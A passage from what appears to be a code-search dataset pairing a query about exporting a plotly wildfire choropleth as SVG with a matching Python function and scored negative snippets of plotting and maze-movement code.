NORTH:\\n self.__position[y] += 1\\n elif direction == NORTHEAST:\\n self.__position[x] += 1\\n self.__position[y] += 1\\n elif direction == EAST:\\n self.__position[x] += 1\\n elif direction == SOUTHEAST:\\n self.__position[x] += 1\\n self.__position[y] -= 1\\n elif direction == SOUTH:\\n self.__position[y] -= 1\\n elif direction == SOUTHWEST:\\n self.__position[x] -= 1\\n self.__position[y] -= 1\\n elif direction == WEST:\\n self.__position[x] -= 1\\n elif direction == NORTHWEST:\\n self.__position[x] -= 1\\n self.__position[y] += 1\",\n \"def move_down():\\n return __maze.move_down()\",\n \"def move(self, is_forward):\\n wh, lh = self.get_heading\\n self.w += wh\\n self.l += lh\\n if self.get_pos() == blocks['wall']:\\n self.w -= wh\\n self.l -= lh\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6295337","0.6271478","0.624435","0.6226867","0.6214748","0.61201197","0.609256","0.6080956","0.60585946","0.5984114","0.5926466","0.59259015","0.59212625","0.59097594","0.5907559","0.5906178","0.5894441","0.58633","0.58610564","0.58604693","0.5820033","0.5813668","0.58035594","0.5803025","0.5795387","0.5781244","0.5778189","0.5735736","0.5721239","0.5710438","0.56943274","0.5686356","0.568114","0.5676465","0.5668616","0.5668282","0.56637216","0.56313217","0.5628839","0.56195325","0.5616854","0.56157464","0.5608851","0.5605971","0.55951846","0.55824035","0.557748","0.5558681","0.5557433","0.555593","0.5532777","0.55309653","0.5523905","0.55159783","0.55145055","0.5512785","0.55094975","0.55042523","0.55039597","0.549978","0.54929554","0.5491832","0.54893005","0.54844034","0.54844034","0.54844034","0.54826623","0.54826623","0.54822046","0.54811716","0.54765934","0.5473783","0.5473688","0.5472696","0.5470557","0.5466429","0.546457","0.54635006","0.5462465","0.54593956","0.54553807","0.54541415","0.54510075","0.54506123","0.5440084","0.5437762","0.5433744","0.5417853","0.54175466","0.54159206","0.54145736","0.54145736","0.5413785","0.54064316","0.5405016","0.5395167","0.5394387","0.5391796","0.538949","0.5377718"],"string":"[\n \"0.6295337\",\n \"0.6271478\",\n \"0.624435\",\n \"0.6226867\",\n \"0.6214748\",\n \"0.61201197\",\n \"0.609256\",\n \"0.6080956\",\n \"0.60585946\",\n \"0.5984114\",\n \"0.5926466\",\n \"0.59259015\",\n \"0.59212625\",\n \"0.59097594\",\n \"0.5907559\",\n \"0.5906178\",\n \"0.5894441\",\n \"0.58633\",\n \"0.58610564\",\n \"0.58604693\",\n \"0.5820033\",\n \"0.5813668\",\n \"0.58035594\",\n \"0.5803025\",\n \"0.5795387\",\n \"0.5781244\",\n \"0.5778189\",\n \"0.5735736\",\n \"0.5721239\",\n \"0.5710438\",\n \"0.56943274\",\n \"0.5686356\",\n \"0.568114\",\n \"0.5676465\",\n \"0.5668616\",\n \"0.5668282\",\n \"0.56637216\",\n \"0.56313217\",\n \"0.5628839\",\n \"0.56195325\",\n \"0.5616854\",\n \"0.56157464\",\n \"0.5608851\",\n \"0.5605971\",\n \"0.55951846\",\n \"0.55824035\",\n \"0.557748\",\n \"0.5558681\",\n \"0.5557433\",\n \"0.555593\",\n \"0.5532777\",\n \"0.55309653\",\n \"0.5523905\",\n \"0.55159783\",\n \"0.55145055\",\n \"0.5512785\",\n \"0.55094975\",\n \"0.55042523\",\n \"0.55039597\",\n \"0.549978\",\n \"0.54929554\",\n \"0.5491832\",\n \"0.54893005\",\n \"0.54844034\",\n \"0.54844034\",\n \"0.54844034\",\n \"0.54826623\",\n \"0.54826623\",\n \"0.54822046\",\n \"0.54811716\",\n \"0.54765934\",\n \"0.5473783\",\n \"0.5473688\",\n \"0.5472696\",\n \"0.5470557\",\n \"0.5466429\",\n \"0.546457\",\n \"0.54635006\",\n \"0.5462465\",\n \"0.54593956\",\n \"0.54553807\",\n \"0.54541415\",\n \"0.54510075\",\n \"0.54506123\",\n \"0.5440084\",\n \"0.5437762\",\n \"0.5433744\",\n \"0.5417853\",\n \"0.54175466\",\n \"0.54159206\",\n \"0.54145736\",\n \"0.54145736\",\n \"0.5413785\",\n \"0.54064316\",\n \"0.5405016\",\n \"0.5395167\",\n \"0.5394387\",\n \"0.5391796\",\n \"0.538949\",\n \"0.5377718\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.61474174"},"document_rank":{"kind":"string","value":"5"}}},{"rowIdx":15386,"cells":{"query":{"kind":"string","value":"Takes in a dataframe and generates an interactive figure in plotly and exports it as an SVG file in the figures folder."},"document":{"kind":"string","value":"def visualize_count(df: pd.DataFrame = None, small_data: bool = False):\n if df is None:\n df = data_cleaning.pd_load_data(small_data)\n df = df.reset_index()\n df = df[['STATE', 'FPA_ID']]\n count_df = df.groupby('STATE').count()\n count_df = count_df.rename(columns={'FPA_ID': 'Count'})\n fig = go.Figure(data=go.Choropleth(\n locations=count_df.index,\n z=count_df['Count'].astype(float),\n locationmode='USA-states',\n colorscale='Reds',\n colorbar_title=\"# of fires\",\n ))\n\n fig.update_layout(\n title_text='Number of wildfires across US from 1992 to 2015',\n geo_scope='usa',\n )\n fig.write_image('figures/fire_counts.svg')\n fig.show()"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def showPlotlyScatter(self, DataFrame, x_axis, y_axis, saving_directory):\r\n fig = px.scatter(DataFrame, x = x_axis, y=y_axis, hover_name= DataFrame.index, color= 'Lib_Tag_contour_ratio',\r\n hover_data= ['Contour_soma_ratio_Lib', 'Lib_Tag_contour_ratio', 'ImgNameInfor_Lib'], width=1050, height=950)\r\n# fig.update_layout(hovermode=\"x\")\r\n fig.write_html(saving_directory, auto_open=True)","def data_visualization(df):\r\n\r\n # Visualizing the target variable\r\n plt.figure(figsize=(14, 10))\r\n plt.title(\"Count of bike sharing according to dates\")\r\n plt.plot(df['dteday'], df['cnt'])\r\n #plt.show()\r\n plt.savefig(\"Raw data visualization.png\")\r\n\r\n # box plot for visualizing outliers\r\n fig=px.box(df, y=\"cnt\", notched=True,title='Box plot of the count variable')\r\n #fig.show()\r\n plt.savefig(\"Box Plot.png\")\r\n\r\n # point plot for hourly utilization\r\n for column in ['season', 'yr', 'mnth', 'holiday', 'weekday', 'workingday', 'weathersit']:\r\n hist = px.histogram(df, x=column, y='cnt')\r\n hist.show()\r\n plt.savefig(\"Histogram plots for each column.png\")\r\n sns.pointplot(x=df['hr'], y='cnt', data=df);\r\n plt.title(\"Hourly Utilization\")\r\n plt.ylabel(\"Bike Shares\", fontsize=12)\r\n plt.xlabel(\"Hour\", fontsize=12)\r\n plt.savefig(\"Hourly Utilization point plot.png\", dpi=300, bbox_inches='tight')\r\n\r\n # line plot for hourly utilization\r\n for c in ['holiday','season','workingday']:\r\n sns.lineplot(data=df,x='hr',y='cnt',hue=c)\r\n plt.title('Hourly plot vs count')\r\n plt.savefig(\"Hour vs count plot_main features.png\",dpi=300, bbox_inches='tight')\r\n\r\n # point plots for humidity vs count\r\n sns.pointplot(x='hum', y='cnt', data=df)\r\n plt.title(\"Amount of bike shares vs humidity\", fontsize=25)\r\n plt.xlabel(\"Humidity (%)\", fontsize=20)\r\n plt.ylabel('count of bike shares', fontsize=20)\r\n plt.locator_params(axis='x', nbins=10)\r\n plt.savefig(\"Pointplot of humidity vs count.png\",dpi=300, bbox_inches='tight')\r\n\r\n # box plots of whole df\r\n bx=px.box(df, y=\"cnt\")\r\n bx.show()\r\n\r\n # feature correlation plot\r\n corrs = abs(df.corr())\r\n sns.heatmap(corrs, annot=True)\r\n plt.title(\"Feature Correlation\")\r\n plt.savefig(\"Feature_correlation.png\", dpi=300, bbox_inches='tight')\r\n return plt","def save_local_interactive(fig: go.Figure, name):\n from plotly.offline import plot\n plot(fig, filename=name)","def save_chart(self, df, filename=\"chart.png\"):\n self.quick_go_graph.save_chart(df, filename)","def save_plot(p, file_name, path='../static/images/'):\n p.output_backend = \"svg\"\n export_svgs(p, filename=path + file_name + '.svg')","def save_render(self, file_name: str) -> None:\n self.fig.savefig(file_name)","def generate_plots_df(type_, df, name, plots_location):\n plt.cla()\n plt.clf()\n if type_ == 'heatmap':\n plot_ = sns.heatmap(df, annot=True, fmt=\".1f\")\n if type_ == 'correlation':\n plot_ = sns.heatmap(df.corr(), annot=True, fmt=\".1f\")\n fig = plot_.get_figure()\n fig.savefig('{}/{}_{}.png'.format(plots_location, name, type_))","def create_figure_file():\n\n # Any plotly compliant dict or list that can be converted to json. You can use the Plotly python sdk to construct figures, by adding it to requirements.txt\n fig = {\"data\": [{\"x\": [\"giraffes\", \"orangutans\", \"monkeys\"],\n \"y\": [20, 14, 23],\n \"type\": \"bar\"\n }]}\n\n # Dump the dict to a plain text json file. Note that for more advanced data (e.g. including numpy arrays etc) you\n # may wish to use the serialiser provided with the plotly library\n name = analysis.output_dir + '/zoo_barchart.json'\n with open(name, 'w') as outfile:\n json.dump(fig, outfile)\n\n # You can either do this here, or in your main run() function definition (or basically anywhere else you like)...\n # but you need to add the created file (which is part of the analysis results) to the output results manifest. In\n # this case we do it here, which has the advantage of keeping file creation and manifesting together; but has the\n # disadvantage of needing to modify your code to pass the analysis around. If you're unable to alter the API of your\n # code; no problem - just do all your manifest creation separately (e.g. at the end of the run function)\n fig_data = {'name': name,\n 'short_caption': 'A shortened caption',\n 'caption': 'A longer caption, perhaps including some description of why on earth we would want to see a bar chart of different zoo animals'}\n # TODO add_to_manifest('figure', name, fig_data)","def create_html_report():\r\n\r\n #Sample DataFrame\r\n df = pd.DataFrame(np.random.randn(7,4)\r\n ,columns=['one','two','three','four']\r\n ,index=['a','b','c','d','e','f','g'])\r\n\r\n #Formatting rule\r\n def color_negative_red(val):\r\n color = 'red' if val<0 else 'black'\r\n return f'color: {color}'\r\n\r\n styler = df.style.applymap(color_negative_red)\r\n\r\n #Chart plotting\r\n filename = \"\".join([APP_ROOT, \"\\\\static\\\\images\\\\\" , \"plot.svg\"])\r\n #Plot\r\n ax = df.plot.bar()\r\n fig = ax.get_figure()\r\n fig.savefig(filename)\r\n\r\n #Template handling\r\n env = jinja2.Environment(loader=jinja2.FileSystemLoader(searchpath='./templates/'))\r\n template = env.get_template('template.html')\r\n\r\n filename = \"file:///\" + filename\r\n html = template.render(my_table=styler.render(), img_url=filename)\r\n\r\n return html","def plot_what_if(df):\n fig = go.Figure()\n for col in df.columns:\n fig.add_trace(go.Bar(x=df[col].index, y=df[col].values, name=col))\n fig.update_xaxes(title_text=\"Gains/Losses ($ USD)\",\n showline=True, mirror=True, linewidth=1, linecolor='black',\n zeroline=False, zerolinewidth=1, zerolinecolor='lightgrey',\n showgrid=False, gridwidth=1, gridcolor='lightgrey')\n fig.update_yaxes(title_text=\"Gains/Losses ($ USD)\",\n showline=True, mirror=True, linewidth=1, linecolor='black',\n zeroline=True, zerolinewidth=2, zerolinecolor='grey',\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\n fig.update_layout(legend=dict(orientation=\"h\", yanchor=\"bottom\", y=-0.25, xanchor=\"center\", x=0.5),\n font=dict(family='Times New Roman', size=15), plot_bgcolor='rgba(0,0,0,0)',\n margin_l=20, margin_r=20, margin_t=20, margin_b=20,\n xaxis=dict(tickmode='linear', tick0=1, dtick=1,))\n\n\n fig.write_image(join('..', 'docs', 'redistribution.png'), height=700, width=900, engine='kaleido')\n fig.write_html(join('..', 'docs', 'redistribution.html'))\n fig.show()","def save(self, _=None, filename=\"SME.html\", **kwargs):\n # Here we \"hack\" plotly to use base64 encoded data\n # since we have a lot of data to look at\n # this reduces the file size by about a factor 3\n # zipping it would provide another factor 2\n if filename.endswith(\".html\"):\n self.fig.layout.dragmode = \"zoom\"\n fig = self.fig.to_plotly_json()\n # Convert the data to base64\n for i in range(len(fig[\"data\"])):\n for ax in [\"x\", \"y\"]:\n data = np.asarray(fig[\"data\"][i][ax]).astype(\"float32\")\n b64data = b64encode(data).decode(\"utf8\")\n fig[\"data\"][i][ax] = {\"data\": b64data, \"dtype\": \"float32\"}\n\n data = json.dumps(fig[\"data\"])\n layout = json.dumps(fig[\"layout\"])\n # This is the entire html as generated by self.fig.to_html\n # except we replace the data and layout manually\n # and transform it from base64 to TypedArrays\n html = (\n r\"\"\"<html><head><meta charset=\"utf-8\" /></head><body><div>\"\"\"\n r\"\"\"<script type=\"text/javascript\">window.PlotlyConfig = {MathJaxConfig: 'local'};</script>\"\"\"\n r\"\"\"<script src=\"https://cdn.plot.ly/plotly-latest.min.js\"></script>\"\"\"\n r\"\"\"<div id=\"56dedbe2-a786-4b0b-8232-b68dfd7b9eb5\" class=\"plotly-graph-div\" style=\"height:100%; width:100%;\"></div>\"\"\"\n r\"\"\"<script type=\"text/javascript\">\"\"\"\n r\"\"\"window.PLOTLYENV=window.PLOTLYENV || {};\"\"\"\n r\"\"\"if (document.getElementById(\"56dedbe2-a786-4b0b-8232-b68dfd7b9eb5\")) {\"\"\"\n f\"data = {data};\"\n f\"layout = {layout};\"\n r\"\"\"const FromBase64 = function (str) {return new Uint8Array(atob(str).split('').map(function (c) { return c.charCodeAt(0); }));};\"\"\"\n r\"\"\"for (let i = 0; i < data.length; i++){\"\"\"\n r\"\"\"let data_x = data[i].x.data;\"\"\"\n r\"\"\"let data_y = data[i].y.data;\"\"\"\n r\"\"\"data[i].x = new Float32Array(FromBase64(data_x).buffer);\"\"\"\n r\"\"\"data[i].y = new Float32Array(FromBase64(data_y).buffer);\"\"\"\n r\"\"\"}\"\"\"\n r\"\"\"Plotly.newPlot(\"56dedbe2-a786-4b0b-8232-b68dfd7b9eb5\", data, layout, {\"responsive\": true})};\"\"\"\n r\"\"\"</script></div></body></html>\"\"\"\n )\n # Finally try to minimize if possible\n if htmlmin is not None:\n html = htmlmin.minify(html, remove_empty_space=True)\n with open(filename, \"w\") as f:\n f.write(html)\n\n else:\n write_image(self.fig, filename)","def generate_stim_figure(self, df: pd.DataFrame):\n fig, axs = plt.subplots(1, 2, figsize=(10, 5), subplot_kw=dict(aspect=\"equal\"))\n for i, col in enumerate(df.columns):\n non_emptys = df[col] > 0\n labels = df.index[non_emptys]\n sizes = df[col].values[non_emptys]\n wedges, texts, autotexts = axs[i].pie(\n sizes,\n labels=labels,\n autopct=lambda pct: func(pct, sizes),\n shadow=True,\n startangle=90,\n textprops=dict(color=\"w\"),\n )\n axs[i].set(title=col)\n axs[i].legend(\n wedges, labels, loc=\"center left\", bbox_to_anchor=(1, 0, 0.5, 1)\n )\n plt.tight_layout()\n plt.setp(autotexts, size=8, weight=\"bold\")\n return fig","def send_fig(fig, name):\n imgdata = BytesIO()\n fig.savefig(imgdata, format='png')\n imgdata.seek(0) # rewind the data\n uri = 'data:image/png;base64,' + urllib.parse.quote(\n base64.encodebytes(imgdata.getbuffer()))\n send_action(\"update_plot\", params={\"src\": uri, \"name\": name})","def render_plot(filename):\n \n file = f\"{app.config['FILE_UPLOADS']}/{filename}\"\n df = read_dataset(file)\n plot_json = generate_dataset_JSON(df)\n\n min = str(round(df['y'].min(),2))\n max = str(round(df['y'].max(),2))\n mean = str(round(df['y'].mean(),2))\n std = str(round(df['y'].std(),2))\n \n return render_template('render_plot.html', plot_json=plot_json, filename=filename, min=min, max=max, mean=mean, std=std)","def graph(df):\n df.plot()\n plt.show()","def visualize(ui_dict, result_dict, result_df, display=True): \r\n ### Generate Bokeh plots\r\n # Summarize the consumer's apparent prices\r\n nyseg_price_plot = out.describe_nyseg_prices(result_df)\r\n # Summarize the consumer's hourly household energy usage\r\n hourly_energy_usage_plot = out.describe_energy_usage(result_df)\r\n # Summarize daily maximum and minimum battery charges\r\n battery_charge_plot = out.describe_battery_charge(result_df, ui_dict)\r\n \r\n ### Display outputs\r\n print(result_dict)\r\n print(result_df.info())\r\n print(result_df.describe())\r\n output_file(filename=out.out_loc(\"nyseg_price_plot.html\", ui_dict[\"run_name\"]),\r\n title=\"Illustration of Hourly Pricing Scheme\")\r\n if display:\r\n show(nyseg_price_plot)\r\n else:\r\n save(nyseg_price_plot)\r\n \r\n output_file(filename=out.out_loc(\"hourly_energy_usage_plot.html\", ui_dict[\"run_name\"]),\r\n title=\"Illustration of Hourly Energy Usage\")\r\n if display:\r\n show(hourly_energy_usage_plot)\r\n else:\r\n save(hourly_energy_usage_plot)\r\n \r\n output_file(filename=out.out_loc(\"battery_charge_plot.html\", ui_dict[\"run_name\"]),\r\n title=\"Illustration of Battery Charge Behavior\")\r\n if display:\r\n show(battery_charge_plot)\r\n else:\r\n save(battery_charge_plot)","def create_heatmap(df):\n\n fig = go.Figure(data=go.Heatmap(\n z=df.values.tolist(),\n x=df.columns,\n #y=[classifier for classifier in df.index.values.tolist()],\n y = df.index.values.tolist(),\n hoverongaps = False,\n xgap = 3,\n ygap = 3,\n colorscale=[[0.0, 'rgb(165,0,38)'], [0.1111111111111111, 'rgb(215,48,39)'], [0.2222222222222222, 'rgb(244,109,67)'], [0.3333333333333333, 'rgb(253,174,97)'], [0.4444444444444444, 'rgb(254,224,144)'], [0.5555555555555556, 'rgb(224,243,248)'], [0.6666666666666666, 'rgb(171,217,233)'], [0.7777777777777778, 'rgb(116,173,209)'], [0.8888888888888888, 'rgb(69,117,180)'], [1.0, 'rgb(49,54,149)']]\n ),\n )\n return fig","def save_fig(fig, filename):\n fig_filepath = figures_path / filename\n fig.write_image(str(fig_filepath))\n logging.info(f\"Written figure to {fig_filepath.resolve()}\")","def visualize_map_features_row_single_figure(args, seq_id, seq_agents_df, seq_features_df):\n\n print(\"Visualizing sequence {}.\".format(seq_id)) \n \n plt.figure(figsize=(8, 7))\n\n for index, row in seq_features_df.iterrows():\n plot_scene(args, seq_id, seq_agents_df, row) \n \n plt.xlabel(\"Map X\")\n plt.ylabel(\"Map Y\")\n plt.axis(\"off\")\n plt.title(f\"Sequence {seq_id}\")\n plt.savefig(f\"{args.feature_dir}/{seq_id}.png\")","def getFigure():\r\n\r\n # get merged tables\r\n df_com = merge_tables()\r\n\r\n # list of selected parameters\r\n selectedlist = [\r\n 'MT-Cu',\r\n 'MT-Se',\r\n 'MT-Zn',\r\n 'BM-milling_time',\r\n 'BM-milling_speed',\r\n 'HP-hot_press_temperature',\r\n 'HP-hot_press_pressure',\r\n 'HP-hot_press_time',\r\n 'BM-HA-probe_resistance',\r\n 'HP-HA-probe_resistance',\r\n 'HP-ICP-radio_frequency',\r\n 'BM-ICP-radio_frequency',\r\n 'BM-ICP-pb_concentration',\r\n 'BM-ICP-sn_concentration',\r\n 'BM-ICP-o_concentration',\r\n 'HP-ICP-pb_concentration',\r\n 'HP-ICP-sn_concentration',\r\n 'HP-ICP-o_concentration',\r\n ]\r\n\r\n # format data frame\r\n df_com = df_com.reset_index()\r\n\r\n # x axis for plot\r\n x_col = 'index'\r\n\r\n # plotly figure layout options\r\n fig = make_subplots(rows=5, cols=6, specs=[\r\n [{'colspan': 6},None,None,None,None,None,],\r\n [{'rowspan': 1, 'colspan': 3}, None,None, {'rowspan': 1, 'colspan': 3},None,None,], \r\n [{'colspan': 2},None,{'colspan': 2},None,{'colspan': 2},None,],\r\n [{'rowspan': 1, 'colspan': 3}, None,None,{'rowspan': 1, 'colspan': 3},None, None,],\r\n [{'rowspan': 1, 'colspan': 3},None,None,{'rowspan': 1, 'colspan': 3},None,None,]], horizontal_spacing=0.1)\r\n\r\n # Materials table data plotting\r\n y_col1 = selectedlist[0]\r\n y_col2 = selectedlist[1]\r\n y_col3 = selectedlist[2]\r\n fig.add_trace(go.Bar(x=df_com[x_col], y=df_com[y_col1],\r\n marker_color='rgb(55, 83, 109)', name='Cu'), row=1,\r\n col=1) # ,offsetgroup=0\r\n fig.add_trace(go.Bar(x=df_com[x_col], y=df_com[y_col2],\r\n marker_color='rgb(26, 118, 255)', name='Se'), row=1,\r\n col=1)\r\n fig.add_trace(go.Bar(x=df_com[x_col], y=df_com[y_col3],\r\n marker_color='rgb(0,191,255)', name='Zn'), row=1,\r\n col=1)\r\n fig.update_xaxes(title_text='Index', showgrid=False, row=1, col=1)\r\n fig.update_yaxes(title_text='Raw Material Composition',\r\n showgrid=False, row=1, col=1)\r\n\r\n # Ball milling table data plotting\r\n y_col = selectedlist[3]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n mode='markers',\r\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\r\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\r\n zip(df_com['BM-milling_time_units'], df_com['BM-uid'])],\r\n marker_line_color='midnightblue',\r\n marker_size=7,\r\n marker_color='rgb(0,191,255)',\r\n marker_line_width=1,\r\n name='',\r\n ), row=2, col=1)\r\n fig.update_xaxes(title_text='Index', row=2, col=1)\r\n fig.update_yaxes(title_text='Ball Milling Time', row=2, col=1)\r\n\r\n y_col = selectedlist[4]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n mode='markers',\r\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\r\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\r\n zip(df_com['BM-milling_speed_units'], df_com['BM-uid'])],\r\n marker_line_color='midnightblue',\r\n marker_color='rgb(0,191,255)',\r\n marker_line_width=1,\r\n marker_size=7,\r\n name='',\r\n ), row=2, col=4)\r\n fig.update_xaxes(title_text='Index', row=2, col=4)\r\n fig.update_yaxes(title_text='Ball Milling Speed', row=2, col=4)\r\n\r\n # Hot process table data plotting\r\n y_col = selectedlist[5]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n marker_symbol='square',\r\n mode='markers',\r\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\r\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\r\n zip(df_com['HP-hot_press_temperature_units'],\r\n df_com['BM-uid'])],\r\n marker_line_color='midnightblue',\r\n marker_color='rgb(55, 83, 109)',\r\n marker_line_width=1,\r\n marker_size=7,\r\n name='',\r\n ), row=3, col=1)\r\n fig.update_xaxes(title_text='Index', row=3, col=1)\r\n fig.update_yaxes(title_text='Hot Press Temperature', row=3, col=1)\r\n\r\n y_col = selectedlist[6]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n marker_symbol='square',\r\n mode='markers',\r\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\r\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\r\n zip(df_com['HP-hot_press_pressure_units'], df_com['BM-uid'\r\n ])],\r\n marker_line_color='midnightblue',\r\n marker_color='rgb(55, 83, 109)',\r\n marker_line_width=1,\r\n marker_size=7,\r\n name='',\r\n ), row=3, col=3)\r\n fig.update_xaxes(title_text='Index', row=3, col=3)\r\n fig.update_yaxes(title_text='Hot Press Pressure', row=3, col=3)\r\n\r\n\r\n y_col = selectedlist[7]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n marker_symbol='square',\r\n mode='markers',\r\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\r\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\r\n zip(df_com['HP-hot_press_time_units'], df_com['BM-uid'\r\n ])],\r\n marker_line_color='midnightblue',\r\n marker_color='rgb(55, 83, 109)',\r\n marker_line_width=1,\r\n marker_size=7,\r\n name='',\r\n ), row=3, col=5)\r\n fig.update_xaxes(title_text='Index', row=3, col=5)\r\n fig.update_yaxes(title_text='Hot Press Time', row=3, col=5)\r\n\r\n # Hall measurement table plots\r\n y_col = selectedlist[8]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n mode='markers',\r\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\r\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\r\n zip(df_com['BM-HA-probe_resistance_units'],\r\n df_com['BM-uid'])],\r\n marker_line_color='midnightblue',\r\n marker_color='rgb(35,54,183)',\r\n marker_line_width=1,\r\n marker_size=7,\r\n name='Ball Mill',\r\n ), row=4, col=1)\r\n fig.update_xaxes(title_text='Index', row=4, col=1)\r\n fig.update_yaxes(title_text='Probe Resistance', row=4, col=1)\r\n\r\n y_col = selectedlist[9]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n marker_symbol='diamond',\r\n mode='markers',\r\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\r\n text=['{}<br>{}<br>'.format(i, j) for (i, j) in\r\n zip(df_com['HP-HA-probe_resistance_units'],\r\n df_com['BM-uid'])],\r\n marker_line_color='midnightblue',\r\n marker_color='rgb(274,94,91)',\r\n marker_line_width=1,\r\n marker_size=7,\r\n name='Hot Process',\r\n ), row=4, col=1)\r\n \r\n # ICP measurement table plots\r\n y_col = selectedlist[10]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n mode='markers',\r\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\r\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\r\n zip(df_com['BM-ICP-radio_frequency_units'],\r\n df_com['BM-uid'])],\r\n marker_line_color='midnightblue',\r\n marker_color='rgb(35,54,183)',\r\n marker_line_width=1,\r\n marker_size=7,\r\n name='Ball Mill',\r\n ), row=4, col=4)\r\n fig.update_xaxes(title_text='Index', row=4, col=4)\r\n fig.update_yaxes(title_text='ICP Radio Frequency', row=4, col=4)\r\n\r\n y_col = selectedlist[11]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n marker_symbol='diamond',\r\n mode='markers',\r\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\r\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\r\n zip(df_com['HP-ICP-radio_frequency_units'],\r\n df_com['BM-uid'])],\r\n marker_line_color='midnightblue',\r\n marker_color='rgb(274,94,91)',\r\n marker_line_width=1,\r\n marker_size=7,\r\n name='Hot Process',\r\n ), row=4, col=4)\r\n \r\n # ICP measurement table concentration plots\r\n y_col = selectedlist[12]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n marker_symbol='square',\r\n mode='markers',\r\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\r\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\r\n name='pb',\r\n marker_line_color='midnightblue',\r\n marker_color='red',\r\n marker_line_width=1,\r\n marker_size=7,\r\n ), row=5, col=1)\r\n fig.update_xaxes(title_text='Index', row=5, col=1)\r\n fig.update_yaxes(title_text='Ball Mill-ICP Concentration', row=5,\r\n col=1)\r\n\r\n y_col = selectedlist[13]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n marker_symbol='diamond',\r\n mode='markers',\r\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\r\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\r\n name='sn',\r\n marker_line_color='midnightblue',\r\n marker_color='green',\r\n marker_line_width=1,\r\n marker_size=7,\r\n ), row=5, col=1)\r\n\r\n y_col = selectedlist[14]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n mode='markers',\r\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\r\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\r\n name='o',\r\n marker_line_color='midnightblue',\r\n marker_color='black',\r\n marker_line_width=1,\r\n marker_size=7,\r\n ), row=5, col=1)\r\n\r\n y_col = selectedlist[15]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n marker_symbol='square',\r\n mode='markers',\r\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\r\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\r\n name='pb',\r\n marker_line_color='midnightblue',\r\n marker_color='red',\r\n marker_line_width=1,\r\n marker_size=7,\r\n ), row=5, col=4)\r\n fig.update_xaxes(title_text='Index', row=5, col=4)\r\n fig.update_yaxes(title_text='Hot Press-ICP Concentration', row=5,\r\n col=4)\r\n\r\n y_col = selectedlist[16]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n marker_symbol='diamond',\r\n mode='markers',\r\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\r\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\r\n name='sn',\r\n marker_line_color='midnightblue',\r\n marker_color='green',\r\n marker_line_width=1,\r\n marker_size=7,\r\n ), row=5, col=4)\r\n\r\n y_col = selectedlist[17]\r\n fig.add_trace(go.Scatter(\r\n x=df_com[x_col],\r\n y=df_com[y_col],\r\n mode='markers',\r\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\r\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\r\n name='o',\r\n marker_line_color='midnightblue',\r\n marker_color='black',\r\n marker_line_width=1,\r\n marker_size=7,\r\n ), row=5, col=4)\r\n\r\n # update figure options\r\n fig.update_layout(height=1800, width=900,\r\n title_text='Mat X Summary', showlegend=False)\r\n\r\n # return figure with subplots\r\n return fig","def create_figure():\n data = requests.get('https://msds603-swolemate-s3.s3.us-west-2.amazonaws.com/shiqi_xycoords.json').json()\n fig = Figure()\n axis = fig.add_subplot(1, 1, 1)\n lwrist = [v for record in data for k, v in record.items() if k=='left_wrist']\n x = [i[0] 